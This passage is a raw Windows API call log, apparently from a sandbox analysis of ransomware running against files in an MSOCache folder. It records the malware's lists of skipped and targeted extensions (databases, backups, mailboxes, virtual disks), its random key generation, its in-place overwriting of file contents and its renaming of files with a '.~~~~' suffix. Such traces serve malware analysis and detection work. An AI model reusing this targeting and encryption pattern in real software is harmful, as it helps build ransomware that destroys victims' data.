	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DAT") returned 0x0
	[0075.256] lstrlenW (lpString=".VHDX") returned 5
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".VHDX") returned 0x0
	[0075.256] lstrlenW (lpString=".ndf") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".ndf") returned 0x0
	[0075.256] lstrlenW (lpString=".DB") returned 3
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DB") returned 0x0
	[0075.256] lstrlenW (lpString=".sql") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".sql") returned 0x0
	[0075.256] lstrlenW (lpString=".MYD") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".MYD") returned 0x0
	[0075.256] lstrlenW (lpString=".DBT") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DBT") returned 0x0
	[0075.256] lstrlenW (lpString=".ACCDB") returned 6
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".ACCDB") returned 0x0
	[0075.256] lstrlenW (lpString=".fdb") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".fdb") returned 0x0
	[0075.256] lstrlenW (lpString=".bak") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".bak") returned 0x0
	[0075.256] lstrlenW (lpString=".myd") returned 4
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".myd") returned 0x0
	[0075.256] lstrlenW (lpString=".DTXS") returned 5
	[0075.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DTXS") returned 0x0
	[0075.257] lstrlenW (lpString=".ckp") returned 4
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".ckp") returned 0x0
	[0075.257] lstrlenW (lpString=".dbt") returned 4
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dbt") returned 0x0
	[0075.257] lstrlenW (lpString=".db") returned 3
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".db") returned 0x0
	[0075.257] lstrlenW (lpString=".TXT") returned 4
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".TXT") returned 0x0
	[0075.257] lstrlenW (lpString=".MDF") returned 4
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".MDF") returned 0x0
	[0075.257] lstrlenW (lpString=".bdb") returned 4
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".bdb") returned 0x0
	[0075.257] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fadf8
	[0075.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.257] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0075.259] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.259] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0075.259] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19524907085) returned 1
	[0075.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x96ccd3b0, dwHighDateTime=0x1d60e1e)) 
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e378
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e378 | out: hHeap=0x300000) returned 1
	[0075.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e73a8
	[0075.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.260] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0075.260] GetLastError () returned 0x0
	[0075.260] SetLastError (dwErrCode=0x0) 
	[0075.260] GetLastError () returned 0x0
	[0075.260] SetLastError (dwErrCode=0x0) 
	[0075.261] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.261] SetLastError (dwErrCode=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.261] SetLastError (dwErrCode=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.261] SetLastError (dwErrCode=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.261] SetLastError (dwErrCode=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.261] SetLastError (dwErrCode=0x0) 
	[0075.261] GetLastError () returned 0x0
	[0075.262] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.269] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.269] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0075.271] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.271] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.273] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.273] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.274] CloseHandle (hObject=0x128) returned 1
	[0075.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.~~~~")) returned 1
	[0075.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0075.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0075.685] GetLastError () returned 0x0
	[0075.685] RtlWakeConditionVariable () returned 0x365f70
	[0075.685] GetCurrentThreadId () returned 0x9cc
	[0075.685] GetCurrentThreadId () returned 0x9cc
	[0075.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0075.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0075.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0075.685] lstrlenW (lpString=".scr") returned 4
	[0075.685] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".scr") returned 0x0
	[0075.686] lstrlenW (lpString=".cmd") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".cmd") returned 0x0
	[0075.686] lstrlenW (lpString=".dll") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dll") returned 0x0
	[0075.686] lstrlenW (lpString=".bat") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".bat") returned 0x0
	[0075.686] lstrlenW (lpString=".cpl") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".cpl") returned 0x0
	[0075.686] lstrlenW (lpString=".sys") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".sys") returned 0x0
	[0075.686] lstrlenW (lpString=".msc") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".msc") returned 0x0
	[0075.686] lstrlenW (lpString=".com") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".com") returned 0x0
	[0075.686] lstrlenW (lpString=".lnk") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".lnk") returned 0x0
	[0075.686] lstrlenW (lpString=".msp") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".msp") returned 0x0
	[0075.686] lstrlenW (lpString=".pif") returned 4
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".pif") returned 0x0
	[0075.686] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.686] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.686] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0075.686] lstrlenW (lpString=".sqb") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".sqb") returned 0x0
	[0075.687] lstrlenW (lpString=".ost") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".ost") returned 0x0
	[0075.687] lstrlenW (lpString=".txt") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".txt") returned 0x0
	[0075.687] lstrlenW (lpString=".mdt") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".mdt") returned 0x0
	[0075.687] lstrlenW (lpString=".BDB") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".BDB") returned 0x0
	[0075.687] lstrlenW (lpString=".eql") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".eql") returned 0x0
	[0075.687] lstrlenW (lpString=".DBF") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DBF") returned 0x0
	[0075.687] lstrlenW (lpString=".EQL") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".EQL") returned 0x0
	[0075.687] lstrlenW (lpString=".FDB") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".FDB") returned 0x0
	[0075.687] lstrlenW (lpString=".EDB") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".EDB") returned 0x0
	[0075.687] lstrlenW (lpString=".DACPAC") returned 7
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0075.687] lstrlenW (lpString=".VHD") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".VHD") returned 0x0
	[0075.687] lstrlenW (lpString=".DBV") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DBV") returned 0x0
	[0075.687] lstrlenW (lpString=".dacpac") returned 7
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dacpac") returned 0x0
	[0075.687] lstrlenW (lpString=".sdf") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".sdf") returned 0x0
	[0075.687] lstrlenW (lpString=".accdb") returned 6
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".accdb") returned 0x0
	[0075.687] lstrlenW (lpString=".DBX") returned 4
	[0075.687] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DBX") returned 0x0
	[0075.688] lstrlenW (lpString=".MDT") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".MDT") returned 0x0
	[0075.688] lstrlenW (lpString=".SQB") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".SQB") returned 0x0
	[0075.688] lstrlenW (lpString=".vhd") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".vhd") returned 0x0
	[0075.688] lstrlenW (lpString=".bac") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".bac") returned 0x0
	[0075.688] lstrlenW (lpString=".mdf") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".mdf") returned 0x0
	[0075.688] lstrlenW (lpString=".BAK") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".BAK") returned 0x0
	[0075.688] lstrlenW (lpString=".BAC") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".BAC") returned 0x0
	[0075.688] lstrlenW (lpString=".dbs") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dbs") returned 0x0
	[0075.688] lstrlenW (lpString=".vhdx") returned 5
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".vhdx") returned 0x0
	[0075.688] lstrlenW (lpString=".NDF") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".NDF") returned 0x0
	[0075.688] lstrlenW (lpString=".dat") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dat") returned 0x0
	[0075.688] lstrlenW (lpString=".DBS") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DBS") returned 0x0
	[0075.688] lstrlenW (lpString=".CKP") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".CKP") returned 0x0
	[0075.688] lstrlenW (lpString=".edb") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".edb") returned 0x0
	[0075.688] lstrlenW (lpString=".PST") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".PST") returned 0x0
	[0075.688] lstrlenW (lpString=".dbf") returned 4
	[0075.688] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dbf") returned 0x0
	[0075.688] lstrlenW (lpString=".SQL") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".SQL") returned 0x0
	[0075.689] lstrlenW (lpString=".pst") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".pst") returned 0x0
	[0075.689] lstrlenW (lpString=".dbv") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dbv") returned 0x0
	[0075.689] lstrlenW (lpString=".SDF") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".SDF") returned 0x0
	[0075.689] lstrlenW (lpString=".dtxs") returned 5
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dtxs") returned 0x0
	[0075.689] lstrlenW (lpString=".db3") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".db3") returned 0x0
	[0075.689] lstrlenW (lpString=".OST") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".OST") returned 0x0
	[0075.689] lstrlenW (lpString=".dbx") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dbx") returned 0x0
	[0075.689] lstrlenW (lpString=".DB3") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DB3") returned 0x0
	[0075.689] lstrlenW (lpString=".DAT") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DAT") returned 0x0
	[0075.689] lstrlenW (lpString=".VHDX") returned 5
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".VHDX") returned 0x0
	[0075.689] lstrlenW (lpString=".ndf") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".ndf") returned 0x0
	[0075.689] lstrlenW (lpString=".DB") returned 3
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DB") returned 0x0
	[0075.689] lstrlenW (lpString=".sql") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".sql") returned 0x0
	[0075.689] lstrlenW (lpString=".MYD") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".MYD") returned 0x0
	[0075.689] lstrlenW (lpString=".DBT") returned 4
	[0075.689] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DBT") returned 0x0
	[0075.689] lstrlenW (lpString=".ACCDB") returned 6
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0075.690] lstrlenW (lpString=".fdb") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".fdb") returned 0x0
	[0075.690] lstrlenW (lpString=".bak") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".bak") returned 0x0
	[0075.690] lstrlenW (lpString=".myd") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".myd") returned 0x0
	[0075.690] lstrlenW (lpString=".DTXS") returned 5
